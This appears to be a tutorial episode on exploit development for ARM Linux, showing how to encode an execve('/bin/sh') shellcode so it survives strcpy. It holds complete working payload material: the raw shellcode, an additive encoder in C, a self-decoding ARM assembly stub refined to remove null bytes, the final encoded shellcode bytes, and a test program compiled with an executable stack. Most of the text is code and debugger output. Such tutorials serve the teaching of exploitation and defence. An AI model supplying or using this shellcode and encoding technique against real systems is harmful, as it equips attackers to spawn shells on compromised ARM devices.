In this last example we will see a case where encoding the shellcode is required. We will analyze the execve shellcode.

This is the source code of our target program (file: encode_shellcode_before.c)

#include <stdio.h>

#include <string.h>

char *msg = "\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00";

void message(){

  char msg_buf[120]={0};

  strcpy(msg_buf, msg);

}

int main(int argc, char **argv){

  message();

  printf("Good bye!\n");

  return 0;

}

Compile it

[email protected]:/home/pi/arm/episode2# gcc -o encode_shellcode_before encode_shellcode_before.c -g -z execstack

Set a breakpoint on line 11 and run the program

strcpy(msg_buf, msg);

Let’s look at the value of the variables msg and msg_buf (before of the strcpy instruction)

gdb> x/50bx msg_buf

0x7efff5d0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7efff5d8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7efff5e0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7efff5e8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7efff5f0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7efff5f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7efff600: 0x00 0x00

gdb> x/50bx msg

0x10590: 0x0f 0x00 0xa0 0xe1 0x20 0x00 0x80 0xe2

0x10598: 0x02 0x20 0x42 0xe0 0x05 0x00 0x2d 0xe9

0x105a0: 0x0d 0x10 0xa0 0xe1 0x0b 0x70 0xa0 0xe3

0x105a8: 0x00 0x00 0x00 0xef 0x00 0x00 0xa0 0xe3

0x105b0: 0x01 0x70 0xa0 0xe3 0x00 0x00 0x00 0xef

0x105b8: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00

0x105c0: 0x00 0x00

And after the strcpy function

gdb> x/50bx msg_buf

0x7efff5d0: 0x0f 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7efff5d8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7efff5e0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7efff5e8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7efff5f0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7efff5f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7efff600: 0x00 0x00

gdb> x/50bx msg

0x10590: 0x0f 0x00 0xa0 0xe1 0x20 0x00 0x80 0xe2

0x10598: 0x02 0x20 0x42 0xe0 0x05 0x00 0x2d 0xe9

0x105a0: 0x0d 0x10 0xa0 0xe1 0x0b 0x70 0xa0 0xe3

0x105a8: 0x00 0x00 0x00 0xef 0x00 0x00 0xa0 0xe3

0x105b0: 0x01 0x70 0xa0 0xe3 0x00 0x00 0x00 0xef

0x105b8: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x00

0x105c0: 0x00 0x00

We can see that in msg_buf the shellcode was not copied, this is because the shellcode contains null characters.
To solve this problem, we can create a simple encoder: our encoding will be in a simple addition 🙂

The file name is encoder_strcpy.c

#include <stdio.h> 
int main() 
{ 
  //execve shellcode 
  unsigned char shellcode[] = "\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00"; 
  int len = 48; 
  char out[len]; 
  int i; 

  for(i=0; i<len; i++){ 
    out[i] = shellcode[i] + 1; 
    if(i==47){ 
      printf("0x%x\n", out[i]); 
    }else{ 
      printf("0x%x,", out[i]); 
      out[i]++; 
    } 
  } 
  return 0; 
} 

Compile it

[email protected]:/home/pi/arm/episode2# gcc -o encoder_strcpy encoder_strcpy.c

Execute it

[email protected]:/home/pi/arm/episode2# ./encoder_strcpy
0x10,0x1,0xa1,0xe2,0x21,0x1,0x81,0xe3,0x3,0x21,0x43,0xe1,0x6,0x1,0x2e,0xea,0xe,0x11,0xa1,0xe2,0xc,0x71,0xa1,0xe4,0x1,0x1,0x1,0xf0,0x1,0x1,0xa1,0xe4,0x2,0x71,0xa1,0xe4,0x1,0x1,0x1,0xf0,0x30,0x63,0x6a,0x6f,0x30,0x74,0x69,0x1

Let’s create the decoding shellcode (file: decoder_strcpy_v1.s)

.global _start

_start:

  mov r6, #48   @ size of the shellcode

  mov r1, pc    @ move into r1 the pc

  add r1, #44   @ address of the shellcode

  mov r4, #0    @ index for the loop

  sub sp, #48   @ save space for the decoded shellcode

  mov r3, sp    @ save address of the decoded shellcode into r3

start:

  ldrb r2, [r1, r4]  @ store into r2 the byte at the location (r1 + r4)

  sub r2, #1         @ decoding operation

  strb r2, [r3, r4]  @ save the decoded byte into the allocated memory

  add r4, #1         @ increment the index by 1

  cmp r4, r6         @ check the index with the size of the shellcode

  bne start           

end:

  add sp, #56        @ rebalances the stack

  blx r3             @ jmp to the allocated area

shellcode: .byte 0x10,0x1,0xa1,0xe2,0x21,0x1,0x81,0xe3,0x3,0x21,0x43,0xe1,0x6,0x1,0x2e,0xea,0xe,0x11,0xa1,0xe2,0xc,0x71,0xa1,0xe4,0x1,0x1,0x1,0xf0,0x1,0x1,0xa1,0xe4,0x2,0x71,0xa1,0xe4,0x1,0x1,0x1,0xf0,0x30,0x63,0x6a,0x6f,0x30,0x74,0x69,0x1

Assemble and link the program
[email protected]:/home/pi/arm/episode2# as -o decoder_strcpy_v1.o decoder_strcpy_v1.s
[email protected]:/home/pi/arm/episode2# ld -o decoder_strcpy_v1 decoder_strcpy_v1.o

Look at the opcodes

[email protected]:/home/pi/arm/episode2# objdump -d decoder_strcpy_v1 

decoder_strcpy_v1:     file format elf32-littlearm 


Disassembly of section .text: 
 
00010054 <_start>: 
   10054:	e3a06030 	mov	r6, #48	; 0x30 
   10058:	e1a0100f 	mov	r1, pc 
   1005c:	e281102c 	add	r1, r1, #44	; 0x2c 
   10060:	e3a04000 	mov	r4, #0 
   10064:	e24dd030 	sub	sp, sp, #48	; 0x30 
   10068:	e1a0300d 	mov	r3, sp 

0001006c <start>: 
   1006c:	e7d12004 	ldrb	r2, [r1, r4] 
   10070:	e2422001 	sub	r2, r2, #1 
   10074:	e7c32004 	strb	r2, [r3, r4] 
   10078:	e2844001 	add	r4, r4, #1 
   1007c:	e1540006 	cmp	r4, r6 
   10080:	1afffff9 	bne	1006c <start> 

00010084 <end>: 
   10084:	e28dd038 	add	sp, sp, #56	; 0x38 
   10088:	e12fff33 	blx	r3 

0001008c <shellcode>: 
   1008c:	e2a10110 	.word	0xe2a10110 
   10090:	e3810121 	.word	0xe3810121 
   10094:	e1432103 	.word	0xe1432103 
   10098:	ea2e0106 	.word	0xea2e0106 
   1009c:	e2a1110e 	.word	0xe2a1110e 
   100a0:	e4a1710c 	.word	0xe4a1710c 
   100a4:	f0010101 	.word	0xf0010101 
   100a8:	e4a10101 	.word	0xe4a10101 
   100ac:	e4a17102 	.word	0xe4a17102 
   100b0:	f0010101 	.word	0xf0010101 
   100b4:	6f6a6330 	.word	0x6f6a6330 
   100b8:	01697430 	.word	0x01697430 

As we can see there are still “null” bytes

10060: e3a04000 mov r4, #0

1007c: e1540006 cmp r4, r6

We can try to write these two instructions in this way

mov r4, #0 as sub r4, r4, r4

cmp r4, r6 as subs r5, r6, r4

This is the new version of the decoder (file: decoder_strcpy_v2.s)

.global _start

_start:

  mov r6, #48        @ size of the shellcode

  mov r1, pc         @ move into r1 the pc

  add r1, #44        @ address of the shellcode

  sub r4, r4, r4     @ index for the loop

  sub sp, #48        @ save space for the decoded shellcode

  mov r3, sp         @ save address of the decoded shellcode into r3

start:

  ldrb r2, [r1, r4]  @ store into r2 the byte at the location (r1 + r4)

  sub r2, #1         @ decoding operation

  strb r2, [r3, r4]  @ save the decoded byte into the allocated memory

  add r4, #1         @ increment the index by 1

  subs r5, r6, r4    @ check the index with the size of the shellcode

  bgt start          @ jump to start if r6&gt;r4

end:

  add sp, #56        @ add 56 to the sp

  blx r3             @ jmp to the allocated area

  shellcode: .byte 0x10,0x1,0xa1,0xe2,0x21,0x1,0x81,0xe3,0x3,0x21,0x43,0xe1,0x6,0x1,0x2e,0xea,0xe,0x11,0xa1,0xe2,0xc,0x71,0xa1,0xe4,0x1,0x1,0x1,0xf0,0x1,0x1,0xa1,0xe4,0x2,0x71,0xa1,0xe4,0x1,0x1,0x1,0xf0,0x30,0x63,0x6a,0x6f,0x30,0x74,0x69,0x1

Assemble and link the program

[email protected]:/home/pi/arm/episode2# as -o decoder_strcpy_v2.o decoder_strcpy_v2.s
[email protected]:/home/pi/arm/episode2# ld -o decoder_strcpy_v2 decoder_strcpy_v2.o

Check the opcodes

[email protected]:/home/pi/arm/episode2# objdump -d decoder_strcpy_v2 

decoder_strcpy_v2:     file format elf32-littlearm 

 
Disassembly of section .text: 

00010054 <_start>: 
   10054:	e3a06030 	mov	r6, #48	; 0x30 
   10058:	e1a0100f 	mov	r1, pc 
   1005c:	e281102c 	add	r1, r1, #44	; 0x2c 
   10060:	e0444004 	sub	r4, r4, r4 
   10064:	e24dd030 	sub	sp, sp, #48	; 0x30 
   10068:	e1a0300d 	mov	r3, sp 

0001006c <start>: 
   1006c:	e7d12004 	ldrb	r2, [r1, r4] 
   10070:	e2422001 	sub	r2, r2, #1 
   10074:	e7c32004 	strb	r2, [r3, r4] 
   10078:	e2844001 	add	r4, r4, #1 
   1007c:	e0565004 	subs	r5, r6, r4 
   10080:	cafffff9 	bgt	1006c <start> 

00010084 <end>: 
   10084:	e28dd038 	add	sp, sp, #56	; 0x38 
   10088:	e12fff33 	blx	r3 

0001008c <shellcode>: 
   1008c:	e2a10110 	.word	0xe2a10110 
   10090:	e3810121 	.word	0xe3810121 
   10094:	e1432103 	.word	0xe1432103 
   10098:	ea2e0106 	.word	0xea2e0106 
   1009c:	e2a1110e 	.word	0xe2a1110e 
   100a0:	e4a1710c 	.word	0xe4a1710c 
   100a4:	f0010101 	.word	0xf0010101 
   100a8:	e4a10101 	.word	0xe4a10101 
   100ac:	e4a17102 	.word	0xe4a17102 
   100b0:	f0010101 	.word	0xf0010101 
   100b4:	6f6a6330 	.word	0x6f6a6330 
   100b8:	01697430 	.word	0x01697430 

Perfect, no null bytes left, let’s take a look at the opcodes

[email protected]:/home/pi/arm/episode2# for i in $(objdump -d decoder_strcpy_v2 | grep "^ "|awk -F"[\t]" '{print $2}'); do echo -n ${i:6:2}${i:4:2}${i:2:2}${i:0:2};done| sed 's/.\{2\}/\\x&/g'

\x30\x60\xa0\xe3\x0f\x10\xa0\xe1\x2c\x10\x81\xe2\x04\x40\x44\xe0\x30\xd0\x4d\xe2\x0d\x30\xa0\xe1\x04\x20\xd1\xe7\x01\x20\x42\xe2\x04\x20\xc3\xe7\x01\x40\x84\xe2\x04\x50\x56\xe0\xf9\xff\xff\xca\x38\xd0\x8d\xe2\x33\xff\x2f\xe1\x10\x01\xa1\xe2\x21\x01\x81\xe3\x03\x21\x43\xe1\x06\x01\x2e\xea\x0e\x11\xa1\xe2\x0c\x71\xa1\xe4\x01\x01\x01\xf0\x01\x01\xa1\xe4\x02\x71\xa1\xe4\x01\x01\x01\xf0\x30\x63\x6a\x6f\x30\x74\x69\x01

Now we can test it (file: encode_shellcode_after.c)

#include <stdio.h>

#include <string.h>

char *msg = "\x30\x60\xa0\xe3\x0f\x10\xa0\xe1\x2c\x10\x81\xe2\x04\x40\x44\xe0\x30\xd0\x4d\xe2\x0d\x30\xa0\xe1\x04\x20\xd1\xe7\x01\x20\x42\xe2\x04\x20\xc3\xe7\x01\x40\x84\xe2\x04\x50\x56\xe0\xf9\xff\xff\xca\x38\xd0\x8d\xe2\x33\xff\x2f\xe1\x10\x01\xa1\xe2\x21\x01\x81\xe3\x03\x21\x43\xe1\x06\x01\x2e\xea\x0e\x11\xa1\xe2\x0c\x71\xa1\xe4\x01\x01\x01\xf0\x01\x01\xa1\xe4\x02\x71\xa1\xe4\x01\x01\x01\xf0\x30\x63\x6a\x6f\x30\x74\x69\x01";

void message(){

  char msg_buf[120]={0};

  strcpy(msg_buf, msg);
}

int main(int argc, char **argv){

  message();

  printf("Good bye!\n");

  return 0;

}

Compile it

[email protected]:/home/pi/arm/episode2# gcc -o encode_shellcode_after encode_shellcode_after.c -g -z execstack

And if we start the debugger and take look at the variable msg_buf after the strcpy function

gdb> x/104bx msg

0x1059c: 0x30 0x60 0xa0 0xe3 0x0f 0x10 0xa0 0xe1

0x105a4: 0x2c 0x10 0x81 0xe2 0x04 0x40 0x44 0xe0

0x105ac: 0x30 0xd0 0x4d 0xe2 0x0d 0x30 0xa0 0xe1

0x105b4: 0x04 0x20 0xd1 0xe7 0x01 0x20 0x42 0xe2

0x105bc: 0x04 0x20 0xc3 0xe7 0x01 0x40 0x84 0xe2

0x105c4: 0x04 0x50 0x56 0xe0 0xf9 0xff 0xff 0xca

0x105cc: 0x38 0xd0 0x8d 0xe2 0x33 0xff 0x2f 0xe1

0x105d4: 0x10 0x01 0xa1 0xe2 0x21 0x01 0x81 0xe3

0x105dc: 0x03 0x21 0x43 0xe1 0x06 0x01 0x2e 0xea

0x105e4: 0x0e 0x11 0xa1 0xe2 0x0c 0x71 0xa1 0xe4

0x105ec: 0x01 0x01 0x01 0xf0 0x01 0x01 0xa1 0xe4

0x105f4: 0x02 0x71 0xa1 0xe4 0x01 0x01 0x01 0xf0

0x105fc: 0x30 0x63 0x6a 0x6f 0x30 0x74 0x69 0x01

gdb> x/104bx msg_buf

0x7efff5e0: 0x30 0x60 0xa0 0xe3 0x0f 0x10 0xa0 0xe1

0x7efff5e8: 0x2c 0x10 0x81 0xe2 0x04 0x40 0x44 0xe0

0x7efff5f0: 0x30 0xd0 0x4d 0xe2 0x0d 0x30 0xa0 0xe1

0x7efff5f8: 0x04 0x20 0xd1 0xe7 0x01 0x20 0x42 0xe2

0x7efff600: 0x04 0x20 0xc3 0xe7 0x01 0x40 0x84 0xe2

0x7efff608: 0x04 0x50 0x56 0xe0 0xf9 0xff 0xff 0xca

0x7efff610: 0x38 0xd0 0x8d 0xe2 0x33 0xff 0x2f 0xe1

0x7efff618: 0x10 0x01 0xa1 0xe2 0x21 0x01 0x81 0xe3

0x7efff620: 0x03 0x21 0x43 0xe1 0x06 0x01 0x2e 0xea

0x7efff628: 0x0e 0x11 0xa1 0xe2 0x0c 0x71 0xa1 0xe4

0x7efff630: 0x01 0x01 0x01 0xf0 0x01 0x01 0xa1 0xe4

0x7efff638: 0x02 0x71 0xa1 0xe4 0x01 0x01 0x01 0xf0

0x7efff640: 0x30 0x63 0x6a 0x6f 0x30 0x74 0x69 0x01

We can note that all the bytes were finally copied.

See you at the next episode 🙂

@invictus1306